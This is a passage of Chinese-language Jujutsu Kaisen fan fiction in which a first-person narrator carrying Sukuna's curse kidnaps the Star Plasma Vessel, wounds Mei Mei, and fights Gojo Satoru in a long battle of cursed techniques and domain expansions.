毕竟,五条悟的身份可以清晰确认,冥冥的却不行。 我将自己腰间的令牌取了下来,“你和我的搭档带星浆体交付任务于天元大人,我和你的搭档留守在外。” 五条悟和冥冥对视了一眼。 此时,我提出的方案已经是最优解。 “啰嗦死了——”五条悟抱怨了一句,却并没有阻止我拿着令牌靠近他的动作。 我心脏紧张得“砰砰”直跳,嗓子也因为需要刻意压抑的呼吸而有种干呕的冲动——还得近一点,近一点,再近一点。 还差最后一步的距离。 就在我把令牌递出去的瞬间,五条悟骤然抓住了我的手腕,眯起来眼睛落在我身上,仿佛刺穿了我的皮囊。 “你——”他顿了顿开口,“我们见过吗,你怎么这么眼熟?” 他在记忆当中持续寻找,以他的记忆力,有熟悉感的人大都是不会忘记的。 “是吗?”我没有强行抽回自己的胳膊,而是将令牌夹在指尖,“不如再近一点,仔细看看?” 我光明正大地迈出了这最后一步。 在这个距离之内,我可以保证任何人都无法阻止我的动作。 没有绷带的束缚,五条悟尽可能排除了一切垃圾信息将视线落在了我身上。 感谢五条悟,他让我知道,真人用术式撕下来的皮囊和新鲜咒力的覆盖,确实能瞒过「六眼」。 就算是我也忍不住有些得意。 我故意在五条悟面前扬起了一个他熟悉的笑脸,“真让人伤心啊,这才几天,小悟悟就不认得我了?” 我反问的音调和刻意的称呼瞬间刺中了五条悟的某根神经,他瞳孔骤缩。 “你——!” 我却没有给他说完话的机会,反手一握回抓住了他的手腕。诅咒瞬间撕裂了咒力皮囊的伪装——冲天的诅咒直直地撞在了「账」上。 “咔咔!” 就在一阵我指尖令牌碎裂的清脆声中,我腰上用劲,旋转的速度将全身的力量都集中于一点,在这个五条悟震惊的零点几秒内,将他甩向了「帐」内。 没有通行令牌,五条悟的身体在强穿「帐」的瞬间便遭受了史无前例的压制。 天元防备着每一个外人——对有能力、又有反骨的人尤甚。 五条家的「六眼」、禅院家的「十种影法术」以及加茂家的「赤血操术」,这些在历史中就曾发挥过强大力量的术式,一定在天元的防备之内。 而以他的阅历,绝对知道该如何设置「帐」的条件才能最好地发挥阻碍作用。 强穿束缚的反噬瞬间爬满了五条悟的全身,一种强烈的麻痹感足以给我拖延至少三秒的时间。 旁边冥冥的实战经验也极为丰富,几乎是在五条悟说我眼熟的时候,她便已经警戒了起来。 但……一个还在评定一级的咒术师对我来说,实在不是威胁。 而我对她,也没有对星浆体这样无辜者的怜悯。 身在这个体系之内,没有咒术师是真正无辜的。 甩出五条悟只要一只手,我旋转半圈的瞬息内,另一只手便已经将拿在手上的咒具剑捅了出去。 “啊!” 一阵鸦嚎,血液伴随着羽毛的摔落在地。冥冥的反应也算是快,或者说她极为谨慎——这个乌鸦是提前布置的防御。 但,防御太脆了。 过量的诅咒注入咒具之中,剑尖没有任何滞涩地穿透了乌鸦防御,刺入了冥冥的腹部。 ——这么短的反应时间,却避开了要害? 我有点惊讶。 疼痛扭曲了冥冥的面孔,让她呕出一口鲜血。 “我的攻击可避不开。” 我说着用力一握刀柄,护卫的咒具可承受不住我这庞大的诅咒量。 贯穿了冥冥腹部的刀身开裂——“砰”! 一声闷响,咒具在她体内炸开。 她瞪大的眼睛逐渐失去光泽我,我松手,让空无一物的刀柄掉落在冥冥瘫倒的身体上,继而也便懒得再关注她的生死。 “救——!” 星浆体惊恐地瞪大了眼睛,下意识地向后退了一步,却逃无可逃,来不及转身、来不及跑路,甚至来不及把话说完,就被我一掌劈晕。 诅咒的大量使用已然让两面宿傩的咒纹在我的皮肤上显露无遗,四周的灌丛无风自动,像是密集的哨兵,被我的模样激起了反抗。 我遥望薨星宫,学着宿傩的口气朝里面放狠话。 “咱们俩的事,还没有了结。” 体内的宿傩狠一皱眉,似乎已然意识到了我的目的。 没错,既然宿傩不愿意说,那我便要试一试天元这边的反应。 话音一落,空气中被「帐」所收拢的诅咒瞬间沸腾起来,仿佛一种无言的嘶鸣穿透人心。 “咻”的一声低鸣,仿佛是某个东西从薨星宫内破空而出。 「帐」,改变了。 原本压制在五条悟身上的束缚瞬间消失——天元出手了,虽然没有直接出面,但他的行动已经代表了他的态度。 他对我的真身知之不深,这种态度必是、也只可能是针对两面宿傩——反过来说,两面宿傩本身一定有足以威胁到宿命轮回的地方! 我的眼中抑制不住的兴奋,抬手一把将星浆体扛在肩上,头也不回地全速撤离。 此时,因为令牌碎裂而赶来的护卫已成围势——他们没有看到我,护卫A桑是失神状态、冥冥生死不明,只有五条悟是撞在了更深一层的「帐」面上。 他们的正常反应就如我所料,直奔五条悟而去。 有他们在,又帮我拖出了两秒。 没了束缚的五条悟眼眶欲裂,重新起身的同时便已将松垮套在眼外的绷带彻底撕碎,“想跑?” 即使隔着「帐」、隔着灌木树丛,隔着连飞机都追不上的距离——我却还是清晰地感觉到,那双眼睛仍直勾勾地盯在我身上。 他一点没有和这些护卫扯皮的意思。 “都给老子让开!” 「无下限」的距离扩散,一股咒力荡开便瞬间将所有的护卫放倒下——没有天元「帐」的偏向,这些护卫连近五条悟身的机会都没有。 一道蓝光突进,瞬间撞碎了外层的「帐」,让夜色久违地洒在了这片大地上。 五条悟只有一个目的,追上我,然后杀了我。 第38章 五条悟的「无下限」术式中, 隐藏着可以“瞬间移动”的术式变体——将两点之间的距离无限压缩,就能达到无限提速的目的。 当然,术式有风险、熟练掌握能力更需要时间。 但, 一个无所畏惧的人是不会对此有任何忌惮的——尤其是当这个人足够有天赋之时。 无法定位移动中的终点, 就用密集的点连成线,不断地发动术式。术式的风险更无所谓,总有「反转术式」来兜底。 “跑?这次我看你往哪跑!” 五条悟的眼睛死死地盯在我身上, 见我似乎转移到了城市的边缘线外,他便不再有任何犹豫。双手手指相扣,正反两种不同方向转动的咒力被强行压在了一起,蓝色和红色撞在相合的掌心之中。 “术式顺转「苍」, 术式逆转「赫」——” 咒力扭转、相斥再融合, 一切只在一瞬间。 “虚实「茈」。” 五条悟的声音不算大,但随着他的咒力和我诅咒的交接,每一个字我都听得清晰。 位置也找得差不多了,脱离了城市才好动作。 我飞速移动的身体骤然一停,身后的庞大的咒力在叫嚣, 我却猛然回身, 毫不躲避。 五条悟的虚式可比普通的术式顺逆转要大得多,更别提在他那相当集中的精的支持下, 咒力的膨胀空前。 剧烈的光线几乎将整个天空映成了白日, 半空中聚集的云朵和气流也被浓烈的能量体撕裂,甚至连空气都被榨得干净, 在这一刹那连呼吸都成了奢侈。 我瞳孔正中荡开一圈红色, 咒纹紧随其后, 沿着我的眼角蔓延。眼球中的物质被替代成了某种诅咒, 拉到极致的动态视野带动大脑的转动, 在这个呼吸都无法进行的一秒内,拆解着庞大咒力的核心组成。 眼手相合,诅咒沿着我的指尖流转交织,逆着扑来咒力的运转方式快速成型。 我没有选择吞噬五条悟的力量、也没有选择切开这个巨大的能量体、更没有选择躲避—— 浓烈的诅咒在我的掌心散发着不祥——和五条悟的招数比起来,诅咒团的大小属实不够看。 但,实力大小却也不是由体积来决定的! 掌心大的黑色小球轻飘飘地浮到上空,像是一片柳叶要面对汹涌的洪水。 但,令人惊讶的事情发生了。 黑色的小球没有撞在虚式外壁,而是如流光切入,钻到了虚式的核心。 几近无声的嗡鸣从虚式内部传来,一阵强烈的波动震荡蔓延。巨大的虚式中心突然被卷出了一个黑洞。 在虚式的整体体积相比,一眼看过去,那个洞仿佛只是一个黑点。 但就是这么一个黑点,完全扯住了虚式的力量,将呼啸扑来球体扯在了原地。 随即,咒力被快速吞入其中。 “歘”! 刺眼的光猛然一收,一秒毫无波动的停滞后,黑点小球便骤然炸开! 不是剧烈的爆炸,而是那种憋闷的声音。有点像是一挂没有后继之力的□□在水下炸开,明明拉满了进度条,却被层层水波卸力,没有造成任何伤害。 最终,也只是强硬地推开了一片空气。 诅咒和咒力,完全等量却相逆的两种力量相互抵消,也让我确认了这两种力量的性质。 不论是顺转咒力还是逆转咒力,本质上都是同质的力量,即使力量循环的转向相反,虚式依然能把同质的力量融合起来——甚至,越是这样有斥力的力量,在虚式炸开时的威力也就越大。 但诅咒——诅咒才是真正能和咒力抵消的力量。 五条悟惊讶地看着消散的虚式,在他的「六眼」之中,虚式被抵消的过程他该看得更加清楚。 就是因为看得清楚,所以才更让他心惊。 外行看热闹,内行看门道。 “力量的抵消并不困难,难的是这般恰如其分的抵消。” 五条悟果然一眼看到本质,“一分不多一分不少,在这么短的瞬间,即使是我,也几乎不可能……” 他皱眉,似乎是在努力回忆自己的虚式训练过程,是否有人监视——毕竟,他才刚刚练会这招没多久,或许只有几天的时间。 即使诸多招数在五条家的历史上有所记录,但虚式这样融合类的招数相当特殊,每一代、每一个「六眼」都会因为自身条件的差异,而用出不同比例的「苍」「赫」。自然,在这种不同比例之下创造出来的虚式,也都不尽相同。 甚至,连同一个人发射出的虚式,也会因为时间、地点、自身状态的变化而随之改变。 想要做到如此抵消效果——必须要对虚式的每一个实时细节都解析清楚。 “世界万物都有破解之法。”我放任活跃的诅咒从我身体中泄露,带动周围的环境略显扭曲,“你的招数,着实不算新鲜。” 只要提前知道虚式的原理,那么需要的解析的,就只是单纯的比例。 两面宿傩对咒力的敏感再加上羂索记忆对术式的解析模板——只要反应快一点,这便不是不可能的事。 毕竟看漫画的你我都知道,大招发动的绝对领域里,有时停。 “天内理子人呢?” “天内理子?”听到这个名字,我第一时间并没有反应过来,“啊——你是说星浆体啊。” 真让人感动,五条悟到这个时候竟然还惦记着自己的任务对象。 我既然敢正面对上他,自然就不可能带着星浆体。否则,我又为什么要让真人等在森林外呢? 我最一开始就知道,那些薨星宫护卫拖住五条悟的两秒钟时间,根本不足以让我逃开。我之所以需要那两秒,是因为我要找机会把星浆体丢给真人。 只要拿到了星浆体,真人也就不必守在薨星宫外,可以在内部守卫组织起来搜寻附近之前撤离原地。 “现在再问是不是有点迟了?”我摊开双手,向五条悟展示了自己空空如也的掌心,“你们的天元这次不会再拥有星浆体了,比起来追我,怎么不赶紧回去好好思考一下,该怎么填这个窟窿吧……啊,差点忘了,还有一个星浆体的候补,要不要赶紧安排下一个任务。我记得候补确实是叫……九十九由基?” 这个名字显然比“天内理子”更强烈地触碰到了五条悟的记忆。 那可是特级咒术师。 他眉头明显一跳,眼中闪过一丝意外。 九十九由基绝对是天元没有选择的选择——如果不是走投无路,我相信天元宁可不融合,也不会强逼九十九由基这样没有被“特殊培养”过的特级咒术师来献祭。 即使完全不考虑她本人的反抗能力,这种将咒术师拖下水的行为都很容易在咒术界内撕开一个恐慌的口子。 他们能够这么多年如一日地尊敬天元、维护天元,是因为咒术师自己的利益和安全没有遭受直接打击。 从天元存在以来,星浆体都不会真的成为咒术界的一员。即使有那么几个特例,天元也会在他们发掘自己咒力、觉醒自己术式之前就将其拖出咒术界。 只要能在日复一日的洗脑中,将一切和咒术师成长的东西都与星浆体隔开,那即使星浆体有咒术师天赋也很快就会被埋没。 星浆体体质不会出现在已有重要宿命的人身上,这对天元来说就已经足够了。 但九十九由基—— 她不仅拥有星浆体体质,还拥有强大的术式潜力,更为重要的是,她让自己的潜力成长发挥出来了。 如果天元把目标对准她,那么就等于在向整个咒术界传达一个信息——任何咒术师都有可能成为祭品,甚至连特级都不能免俗。 大部分的咒术师可不知道那宿命轮回的细节,他们只会知道,星浆体的诞生没有规律。任何人、任何实力、任何家族都不能成为免死金牌,谁的后人都有可能成为下一个祭品。 咒术界的强封闭性造成了咒术师极为看重家族传承、看重后人的现状,这也是某种意义上的回旋镖了。 ——大义这种东西,从来都是只在事不关己的时候,说出来才好听。 但九十九由基是怎么有机会成长到今天这一步的? 事实上,星浆体这种东西,原本也不常复数诞生、也不常在青春期才觉醒——可就在她接触到咒术界并且也开始展露自己体质的同时,天内理子诞生了。 后者更早、更清晰显现的体质特征将前者掩盖了起来。 九十九由基可以说是在一系列的机缘巧合下躲过了天元的侦测。 究竟是怎样无形的力量能够促成这一系列的巧合? 羂索等了一代又一代,筹备了一百年又一百年,为什么一切机缘都在这个时候成熟了? 巧合? 不,这个世界上没有巧合。 “啊,你不知道啊?这么重要的事,怎么——你们家的老头子们没有告诉过你吗,”我打着嘴炮,“也不奇怪,说到底咒术师的强大只是工具,你也只是这一切轮回中的一个小小齿轮而已。” 这样尖锐的话语让五条悟非常不舒服,他的「六眼」紧盯着我,像是想将我由内到外全部拆开。 他没有掉入我的节奏里,直接问出了那个让他没有马上动手、对我发起持续进攻的问题,“你,现在究竟是谁?你的身体里,究竟是谁在掌控。” 我能感觉到,他更想问的是,一切还有没有回转的余地。 这种时候竟然还在担忧或许被羂索占据了身体的我——真是好正直的五条悟,我都要感到愧疚了。 愧疚一秒钟吧。 “你是想说加茂宪伦?哈哈哈哈哈——那只是我想让你知道的东西,从最一开始,这个答案就和真相不沾边。”星浆体已经被我撬走了,我也不吝啬于展露真相。 到了这一步,某些东西的公开对我不无好处。 “那个脑子——从最一开始,就不是加茂宪伦。” 五条悟瞳孔地震,“不可能!” 他激烈地否认。 “我也并非直接就相信了你的鬼话。我特意去查过——虽然少,但加茂宪伦也留有照片,还有那些实验报告的残余,和家族历史的佐证……” “小悟悟,难道没有人告诉过你,谎言这种东西要九真一假才能真正蒙蔽人的思考能力。你和伏黑甚尔都很聪明,我从来没有小看过你们。谁知道御三家里会不会藏了什么我不知道的东西?所以对你们说的话——那些和羂索有关的东西,十成十都是真的,我只不过是选择性的,遗漏了一点点细节而已。” 我还需要伏黑甚尔的帮助,此时有机会,当然也要想办法把他摘出来。 “细节?” “嗯哼。”我点头,“加茂宪伦确实就是羂索,但羂索可不仅是加茂宪伦——你这么聪明,难道还想不明白吗?” 他眼珠一转,就已经想通了一切,“加茂宪伦也只是一个躯壳——羂索的存在比加茂宪伦那一代还要古老。” “Bingo!我和他之间,本来就该是不分彼此的。” 我笑了出来,“只可惜我知他,他却不知我——否则,我也没必要搞这么一大圈的幺蛾子。劝服他可比劝服你们要难得多了。” “不分彼此?”五条悟的眼神中闪过许多复杂的东西,“你不会是想说,你也是个老妖怪吧?”他的眼里满是怀疑。 “用老妖怪这种失礼的形容也太过分了。我充其量只能说是在一个老妖怪中诞生的,新东西?”我努着嘴,仿佛在认真思考自己的身份,“人类只能是人类,但咒灵有时候却可以不是咒灵。” 这应该是五条悟脑中最矛盾的点,在他眼里,我最初是咒灵,但很快就化形成了人类之躯。他称我为“字面意义上的诅咒师”,但这句话本身就是个伪命题。 真正能够使用诅咒的咒术师,是不存在的,就像使用咒力的咒灵也不存在一样。 咒力和诅咒是两种会互相抵消的、完全相悖的力量。 就算要创造新的概念,也不能建造空中楼阁,须得在世界观认可的框架之下。 “我应该是看着你诞生的,那些村民口中的虚碧离……” “哦,那个咒灵的味道确实不错——不枉羂索费心费力把它培养出来……当然,或许他培养假象咒灵的目的并不在我,但我和他之间,又何需细分彼此呢?不用怀疑我存在的年岁,人类诞生尚且需要十月怀胎,更何况是咒灵?我只是那日正式诞生,也不是那时才开始有意识。” 我耸耸肩,其实我也没有说谎。 我只是那一天来到了这个世界,并不意味在来到这个世界之前,我就不存在。 从咒胎到咒灵也是相同的道理。 “你们咒术师也是单纯,一个普通的咒胎任务从三级猛升到特级这种事,都不调查调查的吗?”我毫不留情地嘲讽了一句咒术界的固化结构,那些为了“大局”而掩盖的“小节”,“如果没有那两个学弟、没有那些异常,你恐怕也根本不会坐下来听我说那些话,我说的对吗?我还知道,像你这样的人绝对不会喜欢真相被动逼到脸上,你会相信自己寻找的东西,所以——我不能找你,一定要等到你来找我。事实证明……你的生活轨迹也没有那么难测,不是吗?” 我这就属于典型的,根据结果来反证过程。 只要结果是固定的,过程想要编织成什么样都不困难。 “你们咒术师唯一有远见的地方,就是搞明白了搭档的重要性。不过……等你落单也没耗多长时间。” 我昂首,摆出了两面宿傩日常看我的眼神,轻蔑中夹杂着挑衅,“小鬼。” 至于五条悟的反应—— 他肉眼可见的红温了。 第39章 五条悟的速度很快, 尤其是在这样的距离之下,尤其是在这样的环境之中。 四周空旷无障碍物,全方位视野没有死角, 他对「苍」的活用可以拉到满点, 几乎可以说是在我面前左右横跳、无法捕捉。 除了掌握许久的「苍」以外,现在的五条悟对大型招数的使用都达不到瞬发。 有了先前虚式的教训,他很快就意识到, 不是瞬发的招数、只要有一点点技能前摇,都有机会被我拆析力量构成,迅速反制。 反倒是这样的近战非我所长。 远程甩出的咒具被挡在「无下限」外,术式带动咒力扭曲, 瞬间搅碎了武器。碎裂的残片被裹上了一层咒力。 “去!” 咒具可没有认主一说, 被咒力一驱动,便如雨一般朝我袭来。 我当然可以用更加范围性的招数来应对,但那对战场战斗来说便是舍本逐末。 我需要利用和五条悟的战斗来判断战力水平,我需要在这种级别的战斗中塑造自己的动态视野和诅咒反应。 我的大脑飞速运转,高考数学不及格的我第一次感觉自己对数字的反应如此灵敏。 1148个碎片, 每个碎片上的咒力量是随机不定。 想要与之匹配抵消, 那便需要1184份不同的诅咒。 我指尖燃起诅咒,用我最为熟悉的诅咒状态, 汇聚成密集的刀片快速甩出。 “叮叮叮叮叮——” 密集的撞击脆响此起彼伏, 金属交接的火花在空中铺开,仿佛夏日夜空的焰火, 绘出美丽的图景。 但这种美丽带着难以想象的攻击性。 我打赌, 没有几个咒术师或是诅咒敢踏入这幅“美丽图景”中来。 我双手一合, 咒纹沿着交接的指腹连成实体线条。将其向两边一拉, 密集的线条旋转融合成绳, 我找准了五条悟的位置用力一甩! “砰!” 这是绳索直直撞在他身上的响动。 「无下限」没有拦住这一招。 “咒具「黑绳」,”我攥紧这些线条融合成的粗长绳索,“能够无视术式的咒具可不止「天逆鉾」一个。” 这个咒具一开始就在羂索的标记之下。 有这样可以突破咒力桎梏的概念咒具,原则上来说,羂索是不会使用好不容易培养出来的「狱门疆」封印的。 当然,那时的使用——想要封印我着实是一种紧急措施。 事实也证明了羂索的担忧是对的,「天逆鉾」穿过了「狱门疆」上所携带的术式。 五条悟揉了揉发红的手腕,他的袖口已然被「黑绳」撕裂,即使反应及时,但我的诅咒还给他留下了一道伤痕。 「反转术式」随即起效,那条发红的绳痕只存在了几秒。 下一个眨眼,五条悟的身形便在我的视野里消失了。 紧接着,我的眼皮还没有眨下去,一股力量重击便砸在了我的脊背上。 好快的速度! 好重的力量! 完全就是冲着折断脊椎而来的,而我甚至连一个残影都没有追到。 五条悟放弃维系「无下限」后的速度,简直又快了一倍。 这已经完全不是眼睛能够追上的了,再好的动态视力也不行。 “唔!” 剧烈的疼痛紧跟着便从我肩膀上传来,猝不及防的攻击穿透了我的身体。我不需要回头,便已经感受到了不属于五条悟这个年纪该有的戾气。 垂眼,我还能看到从我肩膀后穿到前的、五条悟的手指。 我甚至能够感受到,他的咒力在我体内搅动的感觉。 疼痛,这是新的知觉。 我的手一紧,一秒都没有耽搁,「黑绳」带着我身体旋转带来的力量加倍地甩向了身后。 “咻”的一声,绳索破空的之音没有攻击到实物的感觉。 很难想象,在这样漆黑的夜空之中,是要怎样的速度,才能让五条悟那一头白发竟然都没有留下清晰的残影。 看不到、捕捉不到,也就谈不上反制。 我意识到,我的动态视力到这一步就已经是极限了。 突然,一阵杀意冲到了我的脸上。 我几乎是本能地抬手,挡下五条悟的手刀。 他瞪大着眼睛,我很清楚「六眼」的视角——我的呼吸、我每一个动作起手时带起的微妙气流都在他眼睛捕捉的信息之下。 五条悟的力量规格太超标,一招「苍」就足以他应对九成以上的战斗。平日里需要近战的情况实际上并不多,所以很多人都忽略了——这么多年,想要承受「六眼」反噬所需的身体素质,就已经不是一般咒术师能够比拟的了。 在别人眼里五条悟是天才,但他的努力绝对比天赋还要多。 别人不努力只是变得废物,可如果他不努力,「六眼」的反噬早就能把五条悟自己杀死了。 他提起的膝盖向下一压,正压住了我踢起来的攻击,小腿侧卡将我缠在了原地——他预判了我的攻击,锁住了我的动作幅度。 我马上意识到,这不是战斗攻击的战术,而是为了限制我的动作,防止我退开。 紧接着,他手腕一转,被我挡在脸前的手刀成掌,掌心中的聚集的咒力没有任何征兆地收束释放—— 是「苍」! 根本没有任何反应时间,这么近的距离,别说是用诅咒抵消,就是用诅咒来防御都几乎来不及。 真·脸接大招。 咒力砸在皮肤上的温度一点也不比漏瑚的能力低,泰山压顶之势几乎让我狠狠地摔了出去——可以说是高空坠落。 在这种压力之下,别说重新组织反击,就连找回防御的姿势都极难。 “砰”的一声巨响,我仿佛陨石一般,在地面砸出了一个深坑。 用灰头土脸来形容我此时的状态实在再适合不过了。 ——“要把身体交给我吗?” 两面宿傩的声音在我的脑内响起,他的声音带着毫不掩盖的嘲讽。 “哼——想得美。” 身体控制权这种东西,一旦交出去第一次,日后可就收不住了。 我绝不会开这个头、也不会给两面宿傩一点机会。 他的力量是我的工具,谁都不会希望工具有自由意识。 我闭上了眼睛。 既然视力已经无法捕捉,那就干脆放弃视力! 声音、味道、气流拂过皮肤的触觉。 诅咒在我的身体内刺激着,将我的一切感官提升到极致。 马上,我便捕捉到了一丝快速扩张的波动。 滋滋—— 咒力在空气中交汇着一点力量,仿佛电流似的在空气中震动,嗡鸣带起了一层薄薄的土——顿时,尘雾弥漫。 我坠落的时间里,五条悟可不是光站在高处看我狼狈。 这样的攻击,一旦停下,就等于给我机会。 他不可能放弃这种来之不易的优势。 就在我将诅咒收束至体感的瞬间,五条悟的虚式就已经完成了聚集的准备工作——「苍」在左、「赫」在右,不同的咒力成球,同时也铺陈在前后两侧。 四角不同的咒力体将我团团围住。 五条悟确实有点想法。 同样招数的连续使用很容易被找出破绽,所以他的战斗思维必须要快我一步才能占得先机。 所以,他先用近战来对抗而我对他术式的分析和对他咒力的抵消,可如果我收束入体的力量想要满足近战需求,就必然会露出相反的破绽。 远程模式切近战状态,总是需要一点CD时间的。 他没有让虚式融合,而是将力量分开至上下左右四角,就是知道,单一的力量反而容易被解析。 但同时,他那庞大的咒力也并非独立,而是暗含了虚式的连接,在彼此呼应之中形成了某种磁场,割裂出一片短暂独立于外界的空间,让我难以逃脱。 虚式的本质是不同咒力的融合撞击。 所以,虚式的完成就需要融合,融合就需要相撞,五条悟将我置于不同咒力体正中,实质上等于将我困在了虚式完成前的中心。 被术式连接彼此吸引的咒力必然融合——这一招将我困在上下左右四球撞击的中心,实际上等同于增加了一个必中效果。 没有领域,却利用磁场和虚式特征制造出了领域的效果。 五条悟的反应真是可怕。 单论战斗经验和实时的反应速度,我和从小就被专业培养的五条悟仍是有差距的。 不过,他有他的战斗优势,我也有我的。 既然模拟了领域的效果,就是反向说明,他还没有真正掌握「领域展开」。 那不如就由我来推他最后一把! “领域展开——” “「伏魔御厨子」。” 我终于顺利想起了这个领域的学名,这种时候要是说自己是个皇家厨子,可就太掉价了。 扩张的咒力以我落地的脚为圆形,瞬间蔓延,前后两百米见方,将四球的力量全部包了进来。 “歘!” 领域内凭空起刃——成百上千斩击将领域填满,不论是术式、咒力还是诅咒,不论是活物还是死物,不论是有形的还是无形的,在领域内,都逃不过这样的斩击。 虚式连接起来的咒力球体连带着其和主人的联系被切成碎屑,咒力被削弱到了分子级别以下,被斩击带起的风一吹,便消散在了空气之中。 我抬头,逆光看着站在高空俯瞰大地的五条悟。 即使没有被卷入我的领域,五条悟依然能清晰地看到我的模样。 我冲着他勾了勾手,“敢下来吗?” 能够对抗领域的,只有领域——这是咒术界所有人的共识,这是因为大部分的领域都是封闭空间,想要从内部突破,就必须有同样是领域的能力才能从内部突破。 但这一条规则却不适用于「伏魔御厨子」。 两面宿傩的领域和其他领域最大的不同就在于——它不是一个全封闭的空间。 领域本身用自由出入为条件,交换了更大的影响范围,和更加灵活的展开方式。 任何人都可以随时进来,任何人也都可以随时出去。 当然,如果他们真的能出得去的话。 第40章 五条悟比我想象的还要胆大果决。 虽然是我在挑衅, 虽然我也确实希望他进入「伏魔御厨子」,但我是真没预料到,他连多一秒的犹豫都没有。 “半封闭领域……果然, ”五条悟眼睛一眯, 眼中闪过一丝了然,“之前就觉得咒纹眼熟,这样的领域, 只属于一个咒灵——” “两面宿傩。” 我出声,和五条悟的回答重合在了一起。 他能看出这一点来并不令我意外,甚至可以说,如果他意识不到, 我才会感到奇怪。 我身上的这套咒纹属于两面宿傩——这个诅咒之王又不是第一天出现, 作为咒灵中的典型,在各个咒术家族之中,一定被内外研究了许多年。 夏油杰这样的平民咒术师不出那很正常,他们不论实力有多强,但底蕴这种东西覆盖面广, 是很难被天赋完全覆盖的;伏黑甚尔这样的家族边缘人看不出也情有可原, 他的零咒力属性就注定了他不会被纳入到禅院的族学课程当中。 但五条悟,这个五条家的眼珠子, 他一定在很早的时候便系统性地了解过两面宿傩。 咒纹这种东西遍布全身, 我也不是一直全|裸,再加上羂索生前的一点运作和注意转移, 他才没有更快地意识到我的身份。 可这个领域——「伏魔御厨子」, 这个领域比术式还要清晰地昭示了我的身份。 就如「六眼」之于五条, 简直就是个标志。 即使领域来源于咒术师的领域, 但不是谁都有本事改造领域、不是谁都有能力用领域的特质来定制「束缚」。 至少在咒术发展到今日的历史来看, 唯一一个真正做到了这一点的,就只有两面宿傩。 “加茂山上的事果然是你——是你为了夺取咒物,两面宿傩的手指。” 果然,五条悟虽然并不真正掌权,但该知道的东西,总还是会听到些风声的。 两面宿傩的手指使用,在御三家内部,还真是件心照不宣的事。 这是不是说,另外两家内,也或多或少,会有手指? “反正,你们拿着那些手指,不是也没用吗?不能发挥它的真正效果,岂不是暴殄天物、令它蒙尘?” “可是,你终究不是受肉——至少不完全是。” 这应该就是最令五条悟困惑的一点了。 我耸耸肩,毫不忌讳地谈起了自己的身份,“「六眼」不愧是「六眼」,也只有你会在此时还不把我当作单纯的受肉。” “即使是在你啃食加茂宪伦之前,”他还是习惯性地称羂索为加茂宪伦,“你的特性都是如此,似人非人,但也绝不是普通意义上的咒灵和受肉。” 羂索可不会改变我的性质。 而且,羂索也没有真的被我吸收。 “确实,不算是。”我微微一笑,“只有我是唯一的、只有我是特别的。因为这个世界上没有第二个两面宿傩,也就不会有第二个我——” 我对待他的态度,和对待羂索的态不同。 我没有完全点破自己的身份,这一点,留给天元来向他们揭露吧,“但不得不赞扬你一声,还挺有勇气。你应该知道,在领域之中,你的「无下限」是保不了你的——不怕吗?” “哼——”五条悟用鼻腔发出闷声,“我生来就不知道‘怕’这个字怎么写。” 血水汇集的溪流和尸骨堆积的“白山”没有给五条悟带来一丝震慑,他的进攻没有半点犹豫。 不需要再考虑任何「无下限」防御的可能性,反而让他更加专注于进攻。 而我的反击就更容易了,领域简直是一个作弊器,必中效果宛如开挂,我根本不需要瞄准、不需要思考,只要放开对力量的管控,释放各种攻击就足够了。 诅咒之力已经浓到肉眼可见的地步。 五条悟的眼睛在发亮——不是他「六眼」原本带来的亮丽,而是一种咒力上涌带来的生理变化。 不仅仅是眼睛,我的感官在这个领域之中被放到最大,他的皮肤都变得更加透亮,头发——甚至连腿毛都在发光。 咒力在通过他身体的每一个细胞向外释放。 密集的诅咒锋刃——两面宿傩招数的专业学名是「解」和「捌」,但我觉得也没必要分那么细。 效果是差不多的,可以看作是没有形状的菜刀,很符合御厨身份。 攻击又劈又砍,但却并不冲着五条悟本身,而是切在了他周围延展的咒力之上。 哦——! 我暗自惊叹,竟然还有这招。 虽然领域内的效果必中——但这个“必中”的对象判定却不像人类意识的认知那样智能和灵活。 咒力原本就是咒术师生命力的一部分,当这部分力量延展之时,自然也可以被判定为“必中”。 聪明。 不过,只是一点点的咒力逸散是不会起到任何效果的,“身体外延”的塑造需要大量的咒力和思维速度。 也只有像五条悟这样咒力量庞大到可怕、又有足够反应力的人才能肆意使用这一招。 眨眼间,五条悟已经近到了我面前。 我横手格挡,腰上用力反身一旋,膝盖重重砸在他的颈窝。 “这样的直接接触,可就没有钻空子的机会了哦。” 我眼睛一瞪,诅咒随着我视线汇聚的点砍向了五条悟的身体。 “噗嗤!” 血肉分离的声音引出了体内两面宿傩兴奋的兴趣,五条悟那浅色的毛发轻易被染红,就连深色的东京高专制服都起不到一点掩盖作用。 砍伤几乎深可见骨。 可即使如此,依然没有给五条悟带来一丝犹豫。 他的手穿过我的肩膀,一点没有停滞地劈上。 想要剖开我? 我的手腕向上一顶,瞬间定住了他的动作。 “你这不是自投罗网吗?” 距离越近,他钻空子的手段就越难使用。 五条悟只是咧嘴一笑,血液沿着他的犬牙滴在嘴唇上。 “「苍」。” 他的咒力回拢,术式沿着他的掌心逆向蔓延回胳膊,沿着穿在我体内的手臂组织,紧密地抓住了血肉撕裂伤口内的每一个细胞、连接到了每一个细胞中的诅咒。 “砰!” 「苍」的力量在我内炸开,将我的胸腔撕裂,浓烈的红色融入了脚下的血池溪流,森白的肋骨一瞬间暴露在了空气中。 我接连后退了数步。 五条悟却不退反进——这人神经病吧,他是用自己的胳膊当做了「苍」爆炸的载体,他自己右臂的伤可比我的胸腔还要可怖得多。 是要和我比「反转术式」的速度? 可我的咒灵之躯只要诅咒填补就是残肢也能复原,人类就不一样了,「反转术式」只要慢几秒就有可能造成永久性伤害。 五条悟是真不要命了!? 他的另一只手上浮现了一圈红光—— 「赫」? 「赫」造成的伤害可比「苍」要大多了,甚至因为术式逆转的效果,其对「反转术式」还有克制效果! 同样的招数如果再来一次,那就算是我也吃不消。 我的第一个反应,就是不能给他第二次用这一招的机会。 但拉开身位已经来不及了,「解」和「捌」毫不留情地砍刺在他身上,即使有咒力中和,但不到一秒的时间里,他还是几乎被染成了血人。 就连这样密集的攻击竟都没能拦住他! 五条悟这个家伙受了刺激,不会真是抱着和我同归于尽的想法吧? 我来不及多思考,直接从自己的肋骨上掰下来两条来做咒具——细密的咒纹瞬间布满了骨身。 这种由我的身体和两面宿傩诅咒催化而出的武器,绝对出场就有特级。 诅咒削尖了骨头,我扭动身体,让我的脖颈避开了五条悟的手,尚未恢复的胸腔被再次剥开,红光已然具备。 如此短暂的战斗里,五条悟的「赫」就已经成长到了也不需要前摇准备的地步。 但与此同时,五条悟也等于将自己的身体毫无防备地展现到了我面前。 “嘭!” 